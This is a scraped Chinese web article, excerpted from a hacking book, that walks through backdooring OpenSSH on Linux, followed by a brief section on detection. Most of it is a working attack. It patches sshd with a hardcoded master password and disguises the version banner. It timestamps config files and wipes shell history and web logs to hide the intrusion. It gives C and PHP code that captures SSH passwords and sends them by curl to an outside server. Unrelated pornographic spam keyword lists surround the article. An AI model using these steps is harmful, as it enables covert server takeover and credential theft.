亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 開發設計 > 正文

Linux OpenSSH后門的添加與防范

2019-11-10 18:03:49
字體:
來源:轉載
供稿:網友

引言:相對于Windows,linux操作系統的密碼較難獲取。不過很多Linux服務器配置了OpenSSH服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法,截取并保存其SSH登錄賬號和密碼,甚至可以留下一個隱形的后門,達到長期控制Linux服務器的目的。 很多入侵者在攻破一個Linux系統后,都會在系統中留下后門,用OpenSSH留后門是入侵者的慣用方式之一。OpenSSH后門比較難檢測,本文選自《黑客攻防:實戰加密與解密》將與您一起探討如何添加及防范OpenSSH后門。

1 OpenSSH簡介

  OpenSSH是SSH(Secure Shell)協議的免費開源實現。很多人誤認為OpenSSH與OpenSSL有關聯,但實際上這兩個計劃有不同的目的和不同的發展團隊,名稱相近只是因為兩者有同樣的發展目標──提供開放源代碼的加密通信軟件。 OpenSSH是OpenBSD的子計劃,其官方網站地址為http://www.openssh.com/。OpenSSH的各個版本可以到其官網下載。   SSH協議族可以用來進行遠程控制,或者在計算機之間傳送文件。而實現此功能的傳統方式,如Telnet(終端仿真協議)、RCP、FTP、Rlogin、RSH,都是極不安全的,并且會使用明文傳送密碼。OpenSSH提供了服務端后臺程序和客戶端工具,用來加密遠程控件和文件傳輸過程中的數據,并由此來代替原來的類似服務。OpenSSH是通過計算機網絡使用SSH加密通信的實現,是取代由SSH Communications Security提供的商用版本的開放源代碼方案。在OpenSSH服務中,sshd是一個典型的獨立守護進程,OpenSSH服務可以通過“/etc/ssh/sshd_config”文件進行配置。OpenSSH支持SSH協議的1.3、1.5和2版本。自OpenSSH 2.9發布以來,默認的協議是版本2。

2 準備工作

01 下載openssh-5.9p1.tar.gz

  openssh-5.9p1.tar.gz的下載地址為http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz。

02 下載后門文件

  后門文件下載地址為http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1. patch.tar.gz。

03 準備Linux虛擬機

  準備Linux虛擬機Centos 6.4。

04 查看SSH當前版本信息

  目前網上支持的SSH后門版本為5.9以下。如下圖,使用“ssh -V”命令獲取的OpenSSH版本信息為“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。 【圖1】  筆者未對高于5.9版本的SSH進行測試,但因為在Patch中可以直接修改banner的值,所以這在理論上是可行的。

注意:一定要將這里的版本號記錄下來,以便在編譯時將該信息進行偽裝。

05 備份SSH原始配置文件

  如圖,將ssh_config和sshd_config分別備份為ssh_config.old和sshd_config.old。在Linux終端分別執行如下文件備份命令。

【圖2】

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.oldmv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

06 解壓SSH后門

  將sshbd.tgz下載到本地并解壓 【圖3】  執行以下命令。

tar zxvf sshbd.tgzcd openssh

  如果使用官方安裝包openssh-5.9p1進行安裝,可以執行以下命令。

tar zxf openssh-5.9p1.tartar zxf openssh-5.9p1.path.tarcp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1cd openssh-5.9p1patch < sshbd5.9p1.diff

3 設置SSH后門的登錄密碼及其密碼記錄位置

  在OpenSSH目錄中找到includes.h文件,運行“vi includes.h”命令修改“define _SECRET_PASSWD”為我們的登錄密碼,如圖。 【圖4】  默認密碼記錄日志文件保存在“/usr/local/share/0wn”目錄下的slog和clog文件中。假設密碼為“995430aaa”,代碼如下。

define _SECRET_PASSWD " 995430aaa"

4 安裝并編譯后門

01 編譯和安裝

  運行如下代碼。

./configure –PRefix=/usr –sysconfdir=/etc/ssh make && make install

  openssh-5.9p1需要使用下面的命令進行配置。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

  在編譯過程中可能會出現“configure: error: * zlib.h missing – please install first or check config.log”錯誤。此時,執行“yum install zlib-devel”和“yum install openssl openssl-devel”命令,安裝后再次進行編譯即可。

02 重啟SSHD服務

  執行“/etc/init.d/sshd restart”命令,重啟SSHD服務。

03 還原新配置文件為舊配置文件的時間

  執行以下命令,使ssh_config和sshd_config文件的修改時間與ssh_config.old和sshd_config.old文件一致。

touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_configtouch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_configmtime(modify time):最后一次修改文件或目錄的時間。ctime(chang time):最后一次改變文件或目錄(改變的是原數據,即屬性)的時間,如該文件的inode節點被修改的時間。touch命令除了“-d”和“-t”選項外,都會改變該時間。chmod、chown等命令也能改變該值。atime(access time):最后一次訪問文件或目錄的時間。ls -l file:查看文件修改時間。ls -lc file:查看文件狀態改動時間。ls -lu file:查看文件訪問時間。stat file:文件時間的3個屬性。

5 登錄后門并查看記錄的密碼文件

  使用“ssh -l root IP”命令登錄服務器,如“ssh -l root 192.168.52.175”??梢允褂胷oot的密碼,也可以使用后門設置的密碼“995430aaa”進行登錄。然后,訪問“/usr/local/ share/0wn”目錄,查看其記錄的密碼日志文件clog和slog,如下圖可以看到SSH登錄和本地root賬號登錄的密碼。

  在實際測試過程中,還需要清除Apache日志??晒﹨⒖嫉娜罩厩宄钊缦?。

export HISTFILE=/dev/nullexport HISTSIZE=0cd /etc/httpd/logs/sed -i ‘/192.168.52.175/d’ access_log*echo >/root/.bash_history //清空操作日志

6 拓展密碼記錄方式

  前面記錄的密碼只能在Linux服務器上面看,也就是說,用戶必須擁有讀取文件的權限,如果沒有權限則無法登錄服務器。在這里,最好的方法是記錄的用戶、密碼和端口可以通過郵件或者HTTP直接發送到接收端(與黑產收信類似)。下面介紹具體實現方法。

01 接收端ssh.php代碼

<?php$username = $_POST['username'];$passWord = $_POST['password'];$host = $_POST['host'];$port = $_POST['port'];$time=date('Y-m-d H:i:s',time()); if(isset($username) != "" || isset($password) !="" || isset($host) != ""){ $fp = fopen("sshlog.txt","a+"); $result = "sername:.$username--->:Password:$password----->:Host:$host ----->:port:$port----->:time:$time"; fwrite($fp,$result); fwrite($fp,"/r/n"); fclose($fp);}?>

02 修改auth-passwd.c文件的內容

intuserauth_passwd(Authctxt *authctxt){ static int attempt = 0; char prompt[150]; char *password; char *pass[200]; char szres[1024] = {0}; FILE *f; char *findport() { FILE *FTopen; char tempBuf[1024] = {0}; char *Filename = "/etc/ssh/sshd_config"; char *Filetext = "Port"; if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; } while(fgets(tempBuf, 1024, FTopen) != NULL) { if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; } memset(tempBuf, 0, 1024); } fclose(FTopen); return Filetext; } const char *host = options.host_key_alias ? options.host_key_alias : authctxt->host; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error("Permission denied, please try again."); snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ", authctxt->server_user, host); password = read_passphrase(prompt, 0); strcpy(pass,password); //截取密碼的時候把它復制到自定義的地方,以便調用 packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,&input_userauth_passwd_changereq); if((f=fopen("/tmp/olog","a+"))!=NULL){ fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s/n", authctxt->server_user,pass,authctxt->host,findport()); fclose(f);} memset(szres,0,sizeof(szres)); snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d /"username=%s&password=%s&host=%s&port=%s/" http://www.antian365.com/ssh.php >/dev/null",authctxt-> server_user,pass, authctxt->host,findport()); system(szres); return 1;}

  重新編譯,執行后會自動將密碼發送到服務器。但筆者在實際測試中并沒有達到這樣的效果,相關信息請讀者訪問http://0cx.cc/ssh_get_password.jspx查看并驗證。

7 OpenSSH后門的防范方法

  OpenSSH后門的防范方法如下。

重裝OpenSSH軟件,更新至最新版本7.2。將SSH默認登錄端口22更改為其他端口。在IPTable中添加SSH訪問策略。查看命令歷史記錄,對可疑文件進行清理。在有條件的情況下,可重做系統。修改服務器所有用戶的密碼為新的強健密碼。

運行“ps aux | grep sshd”命令獲取可疑進程的PID,運行“strace -o aa -ff -p PID”命令進行跟蹤,成功登錄SSH后,在當前目錄下就生成了strace命令的輸出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看記錄文件。在上面的命令中,過濾錯誤信息、/dev/null信息和拒絕(denied)信息,找出打開了讀寫模式(WR)的文件(因為要把記錄的密碼寫入文件)。可以找到以讀寫方式記錄在文件中的SSH后門密碼文件的位置,并通過該方法判斷是否存在SSH后門。當然,也有不記錄密碼,而僅僅留下一個萬能SSH后門的情況。

8 小結

  獲取Linux的版本及其信息,命令如下。

cat /etc/issueuname –ar

  獲取SSH版本的信息并記錄,命令如下。

ssh -V >ssh.txt

  下載OpenSSH客戶端及后門程序,命令如下。網上還有一個版本sshd.tar.gz。

wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gzwget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

備份SSH配置文件,命令如下。

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.oldmv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

  安裝必備軟件,命令如下。

yum install -y openssl openssl-devel pam-devel zlib zlib-devel

  解壓并安裝補丁,命令如下。

tar zxf openssh-5.9p1.tar.gztar zxf openssh-5.9p1.tar.gzcp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1cd openssh-5.9p1patch < sshbd5.9p1.diff

  修改includes.h文件中記錄用戶名和密碼的文件位置及其密碼,命令如下。

#define ILOG "/tmp/ilog" //記錄登錄本機的用戶名和密碼#define OLOG "/tmp/olog" //記錄本機登錄遠程的用戶名和密碼#define SECRETPW "123456654321" //后門的密碼

  修改version.h文件,使其修改后的版本信息為原始版本,命令如下。

#define SSH_VERSION "填入之前記下來的版本號,偽裝原版本"#define SSH_PORTABLE "小版本號"

  安裝并編譯,命令如下。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5make cleanmake && make installservice sshd restart

  恢復新配置文件的日期,使其與舊文件的日期一致。對ssh_config和sshd_config文件的內容進行對比,使其配置文件一致,然后修改文件日期。

touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_configtouch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config

  清除操作日志,代碼如下。

export HISTFILE=/dev/nullexport HISTSIZE=0cd /etc/httpd/logs/sed -i ‘/192.168.52.175/d’ access_log*echo >/root/.bash_history //清空操作日志

  本文選自《黑客攻防:實戰加密與解密》,點此鏈接可在博文視點官網查看此書。

圖片描述

  想及時獲得更多精彩文章,可在微信中搜索“博文視點”或者掃描下方二維碼并關注。                       圖片描述


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
深夜福利91大全| 九九热r在线视频精品| 国产精品96久久久久久又黄又硬| 国产欧美中文字幕| 日韩电影在线观看永久视频免费网站| 久久久久国产精品一区| 欧美与欧洲交xxxx免费观看| 国产精品人成电影在线观看| 综合网中文字幕| 国产精品一区二区三区在线播放| 91精品国产91久久| 88国产精品欧美一区二区三区| 亚洲精品suv精品一区二区| 亚洲国语精品自产拍在线观看| 国产精品亚洲网站| 欧洲午夜精品久久久| 亚洲人成自拍网站| 亚洲精品国偷自产在线99热| 深夜福利91大全| 国产精品视频精品| 国产日韩av在线播放| 国产女同一区二区| 欧美尺度大的性做爰视频| 欧美性生交xxxxxdddd| 九九九久久久久久| 日本国产一区二区三区| 日韩欧美在线视频免费观看| 国产精品久久久久久久久借妻| 国产精品丝袜视频| 高潮白浆女日韩av免费看| 欧美人在线观看| 国产精品免费视频xxxx| 欧美高清视频在线| 成人xxxxx| 亚洲视频在线视频| 欧洲永久精品大片ww免费漫画| 免费99精品国产自在在线| 国产精品久久久久7777婷婷| 成人免费在线网址| 国产午夜精品免费一区二区三区| 国产精品偷伦视频免费观看国产| 欧美性猛交xxxx乱大交| 日本久久亚洲电影| 国产精品国产自产拍高清av水多| 欧美激情二区三区| 成人国产精品免费视频| 中文字幕在线观看亚洲| 国产精品久久久久高潮| 国产成人高潮免费观看精品| 91av免费观看91av精品在线| 欧美激情2020午夜免费观看| 欧美成人亚洲成人| 国产精品第一第二| 91精品国产综合久久香蕉的用户体验| 国产日韩欧美黄色| 国产精品久久久久久一区二区| 亚洲va欧美va在线观看| 亚洲日韩第一页| 日韩激情av在线免费观看| 欧美电影免费观看高清| 日本中文字幕久久看| 欧美麻豆久久久久久中文| 日韩欧美视频一区二区三区| www欧美xxxx| 中文字幕亚洲欧美日韩高清| 黑人巨大精品欧美一区免费视频| 日韩美女视频在线观看| 亚洲午夜未满十八勿入免费观看全集| 久久久久成人精品| 欧美贵妇videos办公室| 亚洲欧美一区二区三区四区| 国产精品久久久久久久一区探花| 欧美激情一二三| 日韩精品久久久久久久玫瑰园| 丝袜亚洲另类欧美重口| 亚洲男人天堂久| 两个人的视频www国产精品| 国产香蕉97碰碰久久人人| 色综合色综合久久综合频道88| 久久99久久亚洲国产| 中国china体内裑精亚洲片| 91精品视频专区| 91经典在线视频| 91亚洲国产成人久久精品网站| 91人人爽人人爽人人精88v| 亚洲天堂第二页| 66m—66摸成人免费视频| 欧美成人一区二区三区电影| 国产精品视频内| 国产精品视频白浆免费视频| 国内免费久久久久久久久久久| 亚洲码在线观看| 亚洲自拍偷拍区| 日韩电影中文字幕| 国内精品中文字幕| 日韩欧美999| 一本色道久久综合亚洲精品小说| 精品美女久久久久久免费| 91精品国产综合久久香蕉| 亚洲免费人成在线视频观看| 成人国产精品日本在线| 亚洲一区二区三区视频播放| 亚洲人线精品午夜| 亚洲成人xxx| 久久艳片www.17c.com| 少妇高潮久久久久久潘金莲| 97成人精品区在线播放| 亚洲新声在线观看| 97**国产露脸精品国产| 亚洲色图色老头| 黑人巨大精品欧美一区二区三区| 欧美成年人视频| 欧美黑人又粗大| 久久久久久噜噜噜久久久精品| 亚洲精品日产aⅴ| 日韩精品久久久久| 国产在线拍偷自揄拍精品| 色综合久久天天综线观看| 亚洲3p在线观看| 亚洲视频在线播放| 亚洲iv一区二区三区| 日韩中文理论片| 疯狂做受xxxx欧美肥白少妇| 久久青草精品视频免费观看| 日韩女优人人人人射在线视频| 91高清免费在线观看| 亚洲成色999久久网站| 欧美激情一区二区三级高清视频| 日韩国产在线播放| 国产91在线播放九色快色| 精品久久久久久| 日韩在线观看成人| 欧美中文在线字幕| 亚洲国产另类久久精品| 国产精品免费一区| 91av在线精品| 亚洲欧美激情精品一区二区| 亚洲国产精品久久久久秋霞不卡| 懂色av一区二区三区| 日韩中文字幕国产精品| 日韩欧美国产激情| 成人a视频在线观看| 日韩av在线免费| 国产主播在线一区| 日日噜噜噜夜夜爽亚洲精品| 国产精品亚洲一区二区三区| 91精品免费久久久久久久久| 夜夜躁日日躁狠狠久久88av| 久久国内精品一国内精品| 另类色图亚洲色图| 日韩精品在线影院| 国产精品久久久久久久久免费| 国产色婷婷国产综合在线理论片a| 精品网站999www| 黄色成人在线播放| 性欧美办公室18xxxxhd| 色噜噜国产精品视频一区二区| 国产精品6699| 91干在线观看| 欧美洲成人男女午夜视频| www.日韩视频| 色av中文字幕一区| 国产在线一区二区三区| 亚洲精品少妇网址|